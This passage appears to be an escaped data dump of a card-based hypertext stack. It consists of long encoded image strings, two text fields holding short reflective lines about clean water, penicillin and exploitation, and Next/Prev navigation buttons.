/////+AJBCASAQASEQhKJAARIIIAAkgBAQQggQkJkxnM1lvpubuXmc7NY2Zrm1MmZmrN///////us3/////////////kgEEEgJBGSJCRACRMhIwgkkgBEBBBBCSRTDLWZttqtuZpdO7zszlTJmlY2TLMmf//////ptt/////////////4CQQQCQEkEJGJDGDEJCRCEQhJESEKJEIlGNM1nMpvN5fT282nLbdmbTNpkmJN2f//////tlMv////////////+kBBhMBIQkSSCGEGCISEMMRhEAAIYIJIkSZTSmZvZdJ0fa52e3cxuzbNLbMrSM1//////5bZv/////////////gSEiQSCRBCCKIBECIRMYQIhESSQgQYJJLFLNtrsbzf361tt83U3pnS2bZMmTZmf/////9pjN/////////////5AIQBBIEMkMSSmJEkxEQTIhJCJJGRIYRKMam1mt7bbMrvd7m2vdbmWzbJ2ZLXM//////vbWZf////////////+MghMGAwQRQxEIYkkBJJSJJJGIQkCQQzIkzOZN1m2227ZtrO9uttbs1mbTJmWZz/////75Zzf/////////////oCCEYJBjEDAkxgQgpCIkiRJEJRCMJEiKzLM05lu223bbu7e1tu61m1mbbMmabNP/////ezmb/////////////4JISAiQiEaMiDGRhiEZYyTJEkRMIyMSSRMmmzvttttt27bdtttru2Zt6SzZK063/////PbMyf////////////+SBhKKJghAgksISDBIhBhkJJJRISCIRGVkzMu5ttttu2zd7dttu2ttpm2zNm2zO/////301nf/////////////kJCAoQhiMnJAykpBBCKFEySJEiSYkk2UmnNsznbbbbbvbTtttt3Nmbud20bStc/////9ezM1/////////////4hBLCRBAokJNCIiTLEopUiSaSSSRkSRErMbNnfNvd7ds7f27t7W9vbM80zZmszz/////nttmf/////////////JFEMSVJAJZSUkkSIJCSjMywZlSUEksmslzNO1ved323z237tztraa3a52tm1vOv////35TM//////////////xJEQyRCUxDGJkRSSRMRKMyjQkSU5Iwys3Obdrbd+9XdP27Nt3u27znNrs6bNc27JL//9fNNn/////////////5JETAkEAjKMSElEkZIyUyJmNpqUiJhlk1M7be7bW793+29933bbbHWu2t1ps5rNtm///na2cP/////////////JJIJCYygIxLMpWSxJCZGZkyTKUsaVkls22bZze/e73Nt533O3e923u7bXX37bt2TP//77LZ7/////////////ySIyUAgjRFMEjCMiZMkkzJmZJUpyZJrMzM7bn2697v/e39t+7c7XutrdttTJbXZtP//9+cmn/////////////9JJCQyEgFMybNOIyZY2TGZkyzUrGSZmZbdubfv/73+rd+57z3t9ts5u2223v21b/////XzacT/////////////SSUghMJkQjJIkbCSRhNMzXTbS5M2ZSbZm87du2fvZ//d77vnfd3t3t27bbba32/////57Nt3/////////////ySREhAIEjMmTLSM2ZNkzGZNkmpyk03szmz3bb39e/3bd37+/1dtttbW223tm2W3////++yWWX////////////+kkkTDJZKJmbMmYwxomTMzs222TNmyUzPnN/vnv97ff/7b17n+73d3dt27be281/////3zZZm/////////////ySSRCERIjMkkyTJjKpNW2bZtldtsttt9veze/u73++2v/33vu7t929vn27Z221/////19m2m37///////////9JJJCSSSTImTJmMmZJmVMzNkm1rJ02tzbe/97/7/27/+23vfu33zvz/Pn733ttv////9+2abNr////////////SSSSSIiVDMtMmZZTXbbc2af+zbdt7Nvbc9z3tv23/23//u9vvXfuvpfvnW2ttr/////nps1smX///////////5SSSySmSWMkyZJJGTJmpt75lvtbbs9s3393vf+//9//dtv7/e/59+7/bve777b//////9mWTbZ///////////+ySSizMWpQMjJmaaTKybMzXnc227Nzb3Xd/+9t9377t9//ft97r1177dv+9nrbP/////ebc7Nm////////////iSSmiE0SlsqMmZZmTZ1d7dfZ3ez/fdv377t7/9/37/77bd/23v//33v/b9/bbL/////3pkzaWf///////////6SSkmbJlKEIpYkxGbU2bW21vu1vzd2+vvvf37f+//977//3f/fbs/fet/tt322/////++zbTZt///////////+mSlkyMmdpJSRmSZMzZudbbbe7+333t++e9v3+++7///+7vdt9/v699/2f+3bzf/////uZszWm////////////mWlNmbbZEkRSUszWTNmbtt7t3p/3bv3b97+33+//7+99////32/f733f9t/tnn/////n5mzWdP///////////5ENJM2ZmdJSkxiyVNs3eu7z7nf2v/vffv3t/33/373/9/d27ff7d3vfdv72vem/////27bNmtt///////////9kkLJmbSZkkozNJtczts7bvzv9/u2/c++/f23/33///f+///99v/3e9/dtvvdu3////9OZk2srf///////////DKaLM2btsSRiZUyxzNr3ds3/t2//7f777/v/9//9/7/f/u+//+2//7292+3bcl/////XzTZlrf///////////6JIqZmatZJJGSTZnN9vNb3/1v/bbf+/vvu/39///////v/+97d/7u3uzt73bZt/////1+ZpnNf///////////5jGSTM21pySZWbM2czbd7vdv/b//927e++933/e//79//73/399vu/e3tnP7bMj////9OzjNNf////////////GKVWZ2XbySZkya1rbNtz297t3u233/9779//v//3v//3//3v3/+/99mpOcm7ZLJJ///bmNZbf////////////ISE0zM81tGQmmzNm9+273b7v3+//ft33vt97/v/v///f9////9t7dzWrZt+zTMlNv//z+5zZP////////////zkcgmZpzZ0WpMmcvZzbb3/v/f39t9v3fe/9/7/3v9/v///f77t/39vZmZk0nWZTZL//+fJjK3/////////////Ewtszbvtswpks5s1vd/dm+bdvd/3/f997b7f///99///f/f7/7fbezmZJps0zNDJ///z1mub/////////////EiIkmZq27DjLZrd3a22d/5//+97fb9v33/v+977///7+/3/f7f97ZuZmZklizI2L///29bZZ/////////////0kspM23trWGZJs1tvu+/bv3bb779/v+vfbe797/+/u/7/37+/9zm3s5mZJZMlLR////8/ZJm/////////////+MkpsmbNvcszWzbNuc9u/u/f/vv72+7+9/973/99/v+//3737bnO2ZySUxJJkzN/////nybOf/////////////sJJIs2tteiiSbM9t59u7f7+2++3v77t72333u9//f/+/v//37u9szmymTIZNjI/////8+aZN/////////////4ZJZpmbba2Mzk2zbX9v99vu/77/fvv/3v/ffv79v/7v+/99vbZpk2ammYJRRMmn////9vazc/////////////+RJTJs9tu00ymzPbdbfX3++9vvt9u+3fe298/fv/bv/v7b3+2zmtszklIySTJmZ/////vyWZv/////////////kSSZRzbbfFJmms229t3Pb79++/3/7+d9/7T59+7fu3e3/vN7bNZIzFFMySYiMl/////48RzP/////////////5SajVmZts0s1mz227f3+/vt773fbbm+z23fNzTb+//d92c+20lVJklNJQkgzZmf/////PSmZ/////////////+kgmW2zzb1pZmnNt29tv7e37tvZttvc7v2adbdMyZt3t25zKTTEaSyIJEyTJDEr/////3wozf/////////////omUyJPLbNJJms7dm7e+393b39vu22126m6zMy2SZrWbMmmWslIwhhJKUxJJKNm/////+8jmT/////////////5kZms02zdzaSRjNvtt7bb323N2dtvbczum2MyiZJrMzMkYkSySimlMUZBSTJJMf/////vJM2/////////////+EkkSzFTVZBZlmabN3Xf9tna9t9ts25nMkQySmAkCSmGZhkkBJIkIQxQmSSKWQx/////zwxk3/////////////5kRVJM22zCQ2SZ5ttuebb22ptmbbyas01lmSMWSZCISIiEk0kkkkpCEiSmSYZjf////89DEl/////////////5klI0yoyrSQgRJTTbu87bNqapM5JLs5jJEESYkJJGRkkRIJAiQRJKcskkkVEkmX////+PEJs/////////////+RIYhTJmt0AgkkSXNM22bZEkpJiayKRMIkpEhIkgSFCRESpIkJlJJIkkkkxMUYz/////jxSkr/////////////xMxZEVM1TEhAiSyM1kpaTMSRTKYiSZZZJJMmRkDQkSJESJIhSESSSMJJJiksxif////49EZJ/////////////6YSRMxZlbQBEhIgkSMhASIIhCIgkkSxBJJAkTEsAhJIISJCREZICJMpJEkiYjE3////+nIxNH////////////+pUiQiJMy0JABAhkQolKSIIiKRGREyCTJCGJEIgihCEwiJGEQxImEQKSERGhMkw/////jyiZa/////////////kUmTJYxjTABJCRAkiAIQAAAIEMRMiUiJGIZMwlKDGJBGJEERCRIETJIIlMLMyjn////4cIxCv////////////9SSUZRTNmiSACBBACEgQQAAQQoEwkkmSIShIhJISCBEQESSAMJEkCLGykQoiEmMiB//+3RjOI////////////+MlIxSUkmoAJIEKEkEBAgAAARgYjJEkSYkKSCRIwiFCRkRJKQSJEIIKEJJJKMxImNf//n5EoZnz///////////42WkkyTKNEgAkQIAQAAgAAAAhAkJMkkhIwgMjBAiRCJBJAQREJEYxSkxIpMkjGMQT//7/JjTNN///////////9kJMyytNtQCSCBEIAAAAAAAAgWRSQkkmJjEgSDEkRCQhEjRQESSQREmjJJITJJMlJ////pmGJY////////////k2klgkyWUkAIJEQIAAAAAAAAQBETJJIZEMTESAEQSRDECEQgkSEQSRIJJJJJDEIYf///5CabJj///////////5iTMllLM7ASQgBAACAAAAAARAkiSJJJgRQIEQikEggkEkkQiIwkySNEySJIiSJJhD////NkiaW////////////mlMpNMmkg==&#34;&#xA;{widgets}&#xA;field2:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[363,31],&#34;pos&#34;:[135,22],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;but the rest of me knows that every uncorroded bolt and working sewer is the best that we can do today,&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field3:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[361,30],&#34;pos&#34;:[133,61],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;and that clean water and penicillin do not require empire and exploitation and profit.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;home.0&#34;,&#34;text&#34;:&#34;Next &gt;&#34;}&#xA;btn_prev:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[16,313],&#34;script&#34;:&#34;card1.0&#34;,&#34;text&#34;:&#34;&lt; Prev.&#34;}&#xA;&#xA;{card:card7}&#xA;image:&#34;%%IMG0AgABVv///////////////////////////////v////////////////////////////////////////////////////+2zMzMyUkkkkkkkkykkkkkkkkkkkkkkkskkkkmZmbbbbbbbbbbbbbbbbbbbbbbbbbbbbu7333/////////////tvd3d39////////3v///973ve//////3////+7u7bbbbbbd3d3d3dtu997bb3//////u7vffbbbbbbbbbd3ve223d3dm1tttttttttttMlttttsstststMssttu7u22227323d3d3d++7zz33nTWazTWf/+89/////////93ve/duZmZu7azMzMzZttts9/aZpmm55m7W68567NszN273e7nXu7u7u7t53Pv3Xf33e/33dmbb72222222223////d27+7tttvd7d7btttt7U27vvfNtvbdtr7tttt3/Xtnc9vvO7u7u7u33e93vbn3+833/3//vv/////////u73vbbbp7vd223b3b27bbbbdzbabNd67W222tt23bdmdt3t97u/t3d3d3u7vt2u7vtr9/vm3u2++222222229v/vfe7tvm2ZttubWbWzbbbba3m15uZm7e27bbbbbbZ29tvbdrtrPbd3d3O7uvb7z3u+19uv3u977////////7/u+/fbbbe3ftts7d7dvbbbbbtmzWzbuZy2223Nttu33tt63du3e/e7bbu/t3ve3n3O7d53fnv93vttttttttvvv7+/23bZts7bb22222222222nns7W7dztt22e22222tvbudt3bba7d7u7Pdvbdv2++977dvvXfe////////++/f//vbbbtuzttt27bbbbbbbZvOz22zW3ttm27bbbdttuds9tnbe27dz3d/d7bt3m7s777/vvfd97bbbbbbbb77923fdu27bfbbbm222222223ttrM22etbbe222221tt7e39vfb23d7b3dzbb333P7e+znbPfe/33////////v3v3/9223bbc3bbO222222222bTW821493bZtt2223bbzu7Zud223dzu2273u3XbvN18/3e/de7e3bbbbbbbb+3+/27+7dt222bbdttttttttt7bdz9tn1abbttm2227bvbbt7e27vbb293u3e93tve31837bd9vc/////////t/373/9ttu2297e3dttttttttm203Jm7Na7bbbe222ze23du7u7tu27nZ3u9123vdu+399r3772+9ubbbbbbbf93fv29227bttna2ZtttttttbbWb53vLt7223bZtttva3bbbbbbt227e32tt33e3d207J773Trv7/9////////b39+/7/bbdttubt7ttttttrbNttrnNubTG22bbttts7ttu7d3dttt7Z3b73bt27bt39/zr3//u3mz22222222/v737vu2923bb7dm7bbbbbbOebmzOtm5ve227bbbbbzdu+z22bbbtt3nbnt7t3u7u3tzf32rze/f/v///////7/3/fvf2zW7bbO1uzbbbbbN+bbPbdvPb2bttu23bbbfZ7Zv3d+7fPbXe23bz3du73etv23W+3t89t+22222223t3d9/ftvdtu283bvbbbba+S+m7N21Nm12m2222bbbZ3rdtm3tz2efdt23bPnd7bnc7bXbv97717/b/////////3933fvs7t22z27M22222y+y2zOWbfW1m3bbdt7bbfme29u7O32+82229u8+2z3e297vdum2zv/tftttttttttv3/ffv7zPbdvNrd22222ds3nt2887Ntu3W21tnbbae92572+7m6227btu3zu73Z7dz279/vf85ve3/f///////vd9/vtvebts9u3dtttt812WtzW2zO27tu23bebbb5tm3rW7bu7tvtttttPO22329v3br1u9z77e/bdtttttttu973fva97bbzbbM2222zbW9rTtcve3LNm223Z7bbXtu9e27dt7d2t23bd89t7ubba293P3vXu7+9+//////////7/dvbrW3bPbdu7bbbbdtpvPu1802e9vW22bnbbdbbt13t23W13tt7bZrztms7u7trbevef27z927bZtttttt272//+292be22ba2222zbnseZbZz07Ztm227ebbb3bNvXO29e72t7m23uvN+722ztve/e1+v+3n7//7//////37/7tu3bn7du27W22223NvN7Z25vn2Ztm22217bbObds9u7167tvrO227a9p3O3fbbc6dv280//Ptzb7bbbbbfv23v+9tunbc22222222+ZtbP2z4mmb7fttt3W2287d7zu2tz229O/u9rdrvne203bt9++3d98z+fv93/////9u3/fb9u2+e522222222ptnZuW3T+2+Zstttm922z22zPNt7v23Z/bO5223Ofbdv2e25253d997r9u33bbbbbb//t/ftttt6zu22222229u/O2c23ZtpZ27bbezm23N27c9tnO29v7du3t27d521st63b233e15++33/P/+////ttv2+/7dtnvc222222215pObd2u1mt31ttts3O229m27ztvfbt2zbbtbtttn23b7m2223bu9z559vW+227bbbf//f77bZtuc522222223Lve9tdszebbNtbbb29ttre2zvNu2du3b27t3O92+29ttu2229tu277n17vb/vf7//9tt9vv/fvb5zu2222222u6bLW5t3s9Ms5tttmzdtu523a9tu7bbd3bt2e5ttttu22229533e7zfd7u/s+9z223//3++22dbPvc22222227Z7Odbbds097ZubbbvZttzm23rbc7fd229t2+3tttu7bbdtt33Pc+33d7b695733//bbfb7/+5286122222221t2+7c7Zm95ld5bNts3ttne22e7Z7c23e7bbu2dvbu7dttt22du2893bbfnz/3v3tt//9/vttvuzzvdttttttt20zbMzbvZptZT2+bZ2bbe1tt5zb2929ttvdu29udu22227bb53u9923u+fXrfe3v/2232+//2a3Pc5ttttttttt3Nu/bbNt57bTZttt7bZvdtnnbtzd1u3bd229u92227bbbtntt7dt7ba93/c97vbf//f77bd7t81zttttttts22+bZtbe5zqbnZu27m23s5tue223btu7dttt5u23dt222223e729u3t3u3p373ve9tt9vv/922z3fbbbbbbbb7bp7dt21rra6Wz5trO22bztt5u3bbO+27bbt3u27d3m2223bttt29+e3du33Pbfe7//3++2323bNs3bZtttttm2tm05rbW7ls9nTmu9tt7PbbXs2239tt7fdt2dttttu22223u3dtt09+127d+f9+/ttvb7//dtt9u2bb22222225+37u29zXZ02dvNrdtm83bdb223Tu222d3b52927t22222bbdu9t9lv3293+bz9v/+/vtt9trTbd7a1ttttttrptM7bZnbZtzs1tm5tuz2bb3O223Ntt27bbn3ZtrN222227d27bu9vutn79O+7nfNt7e//37bfbVmztttttttu7t8zNtu2z5nO5nfbttvN7bOc2229tu23bu2237u/bttttu2273Pbfvd3np++7/d/v397bfbba23e3c5tttttszbZ/e27rXZucrvZs7bc9m287222zttttba3tuzO2dttttt27tnffdOd3vb7tvb3zfPb3/9/bbu25tx5tbbbbb3bZs27bO215tuaXmzbZze2z2tttvNttt23tts39t7bbbbbW2u3u2d++7t37vefvb9+/vbb22202ztnt7bNtttm2362ptdzrTmc29PfbbvZtvN7tts9tttu2dtt2ztm7bbbbdt7bu2+zu7t3bdt+d7237e//v+2323bdszbe222222Ztv23Hm7PZ2Ztk222bts9nNttzbbba25tt23N+zbbbbbu3dtt7fu237t9329z3/f97be222tt3Zt7bbNttttt522Zue3a8nNtvX2zWbbbzedttvbbbbtvttt29pvbbbbbO7bdu2223drvbvb/73m5z3/9/227tmbtt22ttttttn3bbs7pszucuadtvm+3bPZ7bZs222222bbbmzvt222229tu7be7t3d3duu7tP3v73vbb2223Nu7ba227bbbbbebW272nt3N7abszsu2bW83m7bt22221ttttu3NbW2222zt2zt2223u93e/b7efvt/+//v/ttdtu3bs2zbbbbbZ5m2zN3bW3Gd+m7N22dmz2ezbNbbbZttu222293dttttvNtvb23d+u53d9fb/87e237be2223bc2bd23bbbbbbn223dnTNrOay3a9Zttu3N5vbdattttttttttrbbtttts9ts7t3d09t93Z7dzX79/uf79/9tubZ27Ztt222222+bttbeve22+rNmzbs2229ns2za6zW7bbW22227uttttt7tt7bnbd9353f7vf3e22+83323ts7btu27tm22222x5tt2s62zbZe9u3bZ5tdpub2zbm7drbbbbbZtza7bbbbbNvbbPu77bb72b2832//5//dv/bb227s25re222223n3bWa1uXs3czM2zXts03t7Nt2Wy1ta22223tnZtttttt9tbbfO7Le7bv+3z/nttn29t+29tt2zN223ZttttttubNt9t09m2a3N1naZb75Zm2s2dntt22222abe3222222zt23ee2/c792m7ntvv3vf3f7/7bbm3dtt7bttttttt6+2zdr2vd2tfXO257LLzu3N5tum5rdttt87ZubbbbbbbNu7c+3bd+z3fu37vvff9vdvtv7bO23btmzbbbbbbbWzNrZss5lm2zNNrbzecu5s3Nua3Jts222zbbs7tttttt9s7t23fbc/t9u9rvPc9t+/+/+229tubNu3bbbbbbbdfNu3r5znOtrO/WtPWb4zs3M5tnf7a7bbbdzb2222222zt223ds3t87z7t+/fe777bb7b/bbds7dtt222222220/bbPNvfdtm9pNac2eJ2bcvZmeZLbs2222zbNzbbbbbbN23bd2/bt7vrvZ5ve/vu/3v/t225t23bdm2222222vzbWtc6ZZnPZne3bTs925tst7Zz22t2222t29ntttttt9ttttt83u2273f37e92+7fe2/22ztt2bZu22222228nO27Vrbm7NNtZOevm10tzNzTvXXa7dtttt2ze222222zttu27t7be9z3bd32732/9977ftvbbm7bttttttttp++brdudO5veZz2y2XZl5bdnbSc1trZtttts3ZttttttvNttvbO23tt327t23vPvdt33v9ts3bO227dts22223pptm1radl2ZbrTPNdVtp5zba323m225rbbZ23tttttts9tvc2+7ee3e273t7ueu97+3e39t2bdt2zZtt7bbbbbtu3bOe7XVbmt3s8025rznNq2mdPba5vbbbtrNttttttzttZ222897c993P3v//b7s/9/bbd7bdm3btta2222zbbNs842tt2e1TOzb2rrNuebtu89Ntt7W227m9tttttt3Nt3t227+29912/O9m13u/9r2/7Zm25u227ba22223ZtdrZ21uzmZt7s2cs6bcy6bWmy5222bO22zPZttttttt9tudntts7bdvd7e5333e7d7v7bbu2zttuzbb22222b21rds9mbO+szm155z1m7m+ZvPtrZt7ettvdttttttttnba5+t929vdu9299/vb9/t7+3/bbtvbds3bbW1tts7NbbZa07c8y7bNtmzWnWs2Y7tsmbttm2dts3O7bbbbbbedtvp7Z3d227bd7167vr1f729zbbNs3Zt2221ts2s281tz295sz3NM5mtbc7Ns1725n3bTbOzdbbzNLbbbbbbZ7e2fnb23b3r3d2vbzu3v9v393+29t2bttu23m55t9p7aTTRl2/M8+zvN001u19mczvNm3bdvm5rPve2222223m5vZee23btvne7+/373du+dt/22zbd7bbs22fZttZtprf3nvZs1zqfadn29atluZ3atu223WbL28zbbbbbbbbezs31629u27f27nbX3n9279+7v23bZm3Nr21s16bZp22cmbZNszXO815uM55s7M/dW7bts2dbu1zzbdtttttttvb3bXu1u3btnt3e3bfm//v77u2223u2ezNnmzbbb3p55s5t9Z7tdUzTptzT15t2Z21tNt25221nP2zbbbbbbbc7Nttc97e3bfvd2/t7vs1uu37/tu2bt7Pdmvfs2zNNlnbzyzbru1d3vPnO3Nl3M2zna9rNruzdu82bbbbbbbbZz9u315zs7d7Od3s73vv93u/btts27Nms23rUt23c9d2bPPrOuSba2acvM227Zd27mtrbdu43s7pz922222223vTbbPb3u97bvfe37udbd9v8//9t227eb2rOntW1Z5tnac42+af27p57s/1nJt3W23uebZsz2a5nvLW2222222a3bdu7bbdzu3ec7e99725/X7bbbdtbZ9tu87Nctzluct5zzZd8m/+z2tyNmv2abZZtZ7bt3c7t3aedttttttt7u323bdttv292++853u3v53P337Zt1blzNZ1ts8ze056znbm2/u/+7TZnc7rN7u33rfm27dk2t2z7bdttttttm22W7d2+7s313u87/7O/ub3+3fbbtnbbTd1t3O53xrzpreZm6vtv/s31u35ttmeabO6e2zZv9tmzTO5tttttt+3d9tt25vb7Pdu3/Nb/tv/9r/8/bbe7Xv3TazNNszmtr2x73lt/8/92nbmb13/5c62zZtu25ltu33ezttttttpttm2223udu+97vNfe3PbOZ/s37bZszeWmfttvdazvZzTbmZnd////Nu7P/t9/3223Pfts25ttttm23bbbbbbbtu+7bttbe87bbu/fe+ffu/7e/f+b23Ztu4222bbe2drds6ZvZv/7/9tq7f9v/++t282bb2z5ttm22t3bbbbbbbtp23tv3e59tu3bee8/efubt9tzbZtve23zbN2uc1Z602z/5nb///7Zuzffv///tmz2bbNtpttvbttmbbbbbb3Pfm3bubc357293be2+29u/v33321tsZtmfttm2a23j3bPSTmZ//f+zrdz/7///3e3N+29tz7Ztmttu7bbbbbWeZe3bO7t9b7v23fu3dvvb+fbff23bZ7m24zXbne27PNds3vf73///3/Zzf/P/+/ZttmbZttrZtm7bbu222222+713be23Z7ba3e7bv3e2/m93883tttu/btzdbms2zNs1XzOZLb///9/Xv3/f///ntvedttq237ftttm222227s3vW223dv7d3227tu3d3zfvnb7/trbaxmt31zXrs3fPbdPbb7U//f/nua3/7///2bZZ927btzLZt223Ntttttt2a927tt7be3X73b+333v3uv+/ttvbbnm7NnXXPN2acds5bO/d//v/v+78/+//+/7b3mzbbW3u3nXbbdttttt3d7rntu3bt87vNvft+vPu3Pvt7f/bW22/ttut2tdtu77a7zefbv/7///bf//////m22e7t23ZrbPdNttttttttZ22vO7d7bT9u+87bV6+t9/Pd3dt7O23ptbZum7ZreamtszZf/af/f/3939/////+215puzbXrbNm+227bbbbb3t3e9rdrd/t9zt7t/d7v1zfd7f/betsuzbbte1u7Zd22d3z2///////+3/f////9ttnv27tubbfe7bbbbbbbdudm9rvbe7a2znve7293vPf/e7+t/bNt67bbbdt2Zz2Xt5mXa/v//////+///////ttubNm227bbZs2222222225vreue7bu77v7c7u2/be82e72+22ttts221stp9zbdmzu9yz///////////////7bb7du3bW22nt222222227b7e5987du7n3ne+7vs7/u++/39/+7ts222zbbbm3023bbqn3//////////////+/bbLZtttt22+bdtttttttttz1z1n7bdu3XPc87uv7zO9+5tt223Nt7dtvttrebX25m2m+2////////////////bbe3ttrbm217Zttttttt223nX3fO7t273ve9977Pfvt1v77/32dtttts2bbZ9mdm223Zpr///+///////////7bbbbbbbO23W3tttttt7bbbe9m9uzvbtvPa993n+c/f727vq3m7ba2trZ7Z2zW5u7tnbnt///////////////+22trbbbdttt2bbbbbbbbt9trvrbf2dvc/b3Z7fb/53O77+f7vu7bttu9m3zbNu7mtuzPN3//////////////v227bbbbbdtu27bbbbdt3bzbeuu703e9d7b3fzt22v3e7tz93vszbdtsy+2Xm+2Zm7azdtn///////////////223bbbbbZts5u2222222bbfZ7bbn7e53dvtuf+377f3v/3v3fd3bZtt3pttOzbd3rbd3Nu///////////////+22bbbbbbtt3s222227t7b2fnvdvts37d2d7cz+3n2vezP7Pd9t23tttnmu9vNt1ubc2dtv///////////////tt7bbbbbbbdb22223ttne26fa3bN32b23973/m7fbu73+3+/z7m2bba3PbZs+2nmbW67bX///////////////9tm222223bZ3Nttttt3fc237b3d9vP9nu27ba3u73vbn37b7Ptu27bbttnNrZbePe2bs5t///////////////9tu222222bbtdttttttbb29W23bbu+nfu7bd7vu7nff3tn9t+/btu22ttme7d1t9m29Wz23///////////////tttttttt7bb3bbbbbb22vt93du9uzfdtt/e3u7v37e3v/b+37bNs2221v7LZtzNm22dvZv7/////////////77bdtttttm23ObbbbbbO26trndu223ttt3ae+frubru3vN+7fX+9t223bbOebszc7tta2Zs////////////////bZtttttu22c7bbbb289t7bPtu27vbu73e+19P39v2/Pfa793bbbdttm7c7bZ73btm25773//////////////3bbtttttttt722222231t3d/O7dtu3ttt2+3nfXXfX2/fe+z372bZttmzZ2u1s2c1vbbmzP///////////////+27bbbbbdtmt222222dvbdzdrt97bbu93a3vfe9tvvbc+9/vr27bttvvbtaza1t1rW2ebc///////////////+2zbbbbbZtu7m2222357btvbvbZz3tu523ut2c7vus9769t+v3u27bbM263bttudvO25823///////////////tvbbbbbbtttu2223tnrbba2ud73nb3b27c7379vPd7zu57l/ds2zbbd2zuc225s5etuzbP///////////////9s2222227bd22222tubbbbu97btvbtt2719tnt3fd9v297v1t523ba1tvW61rZu5zNs7ds////////////////b222222zbZttttttt7e7bs5ndttu2727b57vbbbbt23d73t77tt223badm9tnbN3NrZzb3///////////////tm222223bbtttttttm6z233vd3d23bt7br7O3e7uu3bdu3b7r62mbdbb621tebNZ3bbzZt//////////////97W222222227bbbbbtu23nbOe23d3e3bm+2zfbc7u9u3u627t7nbO81trTttNZ23bnZzLzz///////////////dtttttttu2zbbbbbNtt3e289u7bbc7dva3fed2+7Z27bb3u7b/Wts3O23W293NnaczzezTP///////////////btttttts23bbbbbdt3m1uz9s227t723du8893c7d7t3d3u7+zm7Z9dNzdtrTc2m5zT0z37//////////////+5rbbbbbb22222223bbPvc/Nt92zbbXfbez7223277u2d2tuzfuzbt3dns22vnZu233ntmm///////////////bzbNbbbbNtu22222dtus509t1m/bbds29vNvbutzrbe+272/tvvbaabez5tubNtmbLNN2s3///////////////Ta22a229ts222227bbbzvzttu57e27222923s7n23c87vPc7uc2157ZrNs2Zu7O8623Nt3//////////////+323Oa22zbb2222227bdvavNtu3m23bd9trtub7Pnbb17ue97u92zX23m87572rNpzzbM3Z///////////////+mc8+1m3bbNtttttzbba3s9ttte23d1lt3Ns7N/O3uvbbfbbduZvsmafb7Lm1bfXu3mvZLn//99//////////3tszy3Otm29tttttnbbbudzttt1ttt3fbbdt7dzduba7bedu927su+85ck9uZ1mbMybbN7P////v//////7///1m9PNNs22zbbbbbe22225vNttvdtu25t7ttt3bbc7dz267e7bubaZm3p9zW9t22t35nOzd////7////7/7f//9vZ89vXZttttttttu223bs9tts5tttruzbbbWb25+73nzvdttu7d9udPtvNWazm7WT2drZn///9/7//+//fv/+5nZjObNtm222222222227ztttztttu7bbbbd7Wz5zNvP2dt3duzU59tMs+2btuzbez1m27///+/+///3////9pmZvc2u7PNtttttrW222zPNttvbbbbbd2222223rndts3e73d0zd5kvd7Zu+21tzmznPaZ//+3r7d//N/+9/93727VtbLNts1ms2222223c9tts3bbbWbW2227btu+7bb227ttt3zN+6ZnNmyzNmzWnmtM93//z+7nb/7////79Jm5nNtOfLZ5vN5t222223zbbb2bbbebNtttttttzrbbu3bbu72XNZt7ue/PXtvO3unre2b7//83+7/zP/f6f372p2ta+6ezm5tm21tttmzPbbbN7bbY++222223bXO222223O7a8/ZmzNtpc2Xa22m3Nqc6////t5u//b//993rNtzvZqa5bbZnObNs22m3s2229m2232zbbbbbbbd9223du2e27pyb3O9mnZztZnNvNtztzv///t7v3/bf+f3++c3Wsb25z01nddttrbNPmbs22zbbbbNPdtttttu2zW29ts3+27XnbNszbfbtmz22stmnWXM///5dv8/2f/1+Z3b1M56mz3L22ZzWzOc29m5s1mtrmttt8122222227dttu72m3t3O28z3NtOa3bbnN3POd7d///d529/+b/3e//mne1q9vSemrzrbbc53LPmzdmtrO7WbZ3Nttttttt2227bO+2t2trZ7Nu287bbym3NctszlX//+b7fn/u/8vtm+2s961md6eunazlzm02cm7dvtbdpt7Zttttttttt27bbd81ttt7W1q9rNp22zL3nMzzW7Pd//+5Nv+/2//62e5trZjdPZzs2dzbPTOZzbfkyanZzXzm37vbbbbbbbbttt2z3dvbnbbbrbdttWzbnOfbNtpss/3+z3S9v9t/pvets3Nvc9XbW2dm15N1ttucnb5vOzbNt2ZrbbbbbbbbM222uttudua1tWtZt5tn3Oa5N02tzs5/e2zfvn/v/+3Xsz2eay52Z1s8szTtnNZqZvNn1Obzszl53O222222297bbs7u7d363W3a25jrmza2zuT5tzN5/3szsv//7//bdfbM67Lpq7zs1t3tbMtZresuaTdczT7Pn2ebbbbbbbZs22t3NrdtN2duduZvPPmnm3M+ptL9lr+82zz9P9//293t52re3szTp9NdLZNzbbU5q7u51z3L9Obtdttttttts227ddu2791s05095tZm+Ws9y75ujObc98zdv3/3/+zb+Ts9mZN3Xns9y7N9nKZWzbmWzmnmcjd5m2222222259tts3bbbLZu52z1prTnk7szNlJuettb3R/2z7/3/+25/eyxbd7NuuZrTrbTOe22tZmdNbOm7etnfbNttttttrttt27bdt+5s7s7nO7bbPandM3d5c7Ob2dvnb+v9/+8232zv5mbNmq5udmbNM5Was23s81tuqs6s5dtmtttttu5Ntnbm22zb7Za02c5zzss9N/bNZ01tuW9721v3/m5u2b+Xsm25fPPb503a29zm2ts1Np7TU621tzybdttNtttl9tutu27bdrN1t11pzTTz12ZM2Zz2bOczlfPb1/+/888+2VtbnZNNVZnbWzJnOmdM1tbmvZz1tddn7ZnNdtttfZttu222322ebWtnPr23NmXZu27Wm5s829ftr/v9lnZzb23NmtbffXZ9tm3vOc21dtrZuabuVm5s2zTudbbbZ5ttttbdt2W7batsutOm2c28nasqc8zzy8173TPv/nefnN9mduzmZKdrpm2smc53XZszLy26a9trO5rXM57ZttrTbbbdttm9tuW7navbam25k7Zts5t3LNs3a/N35/+ts7bfm1pnOb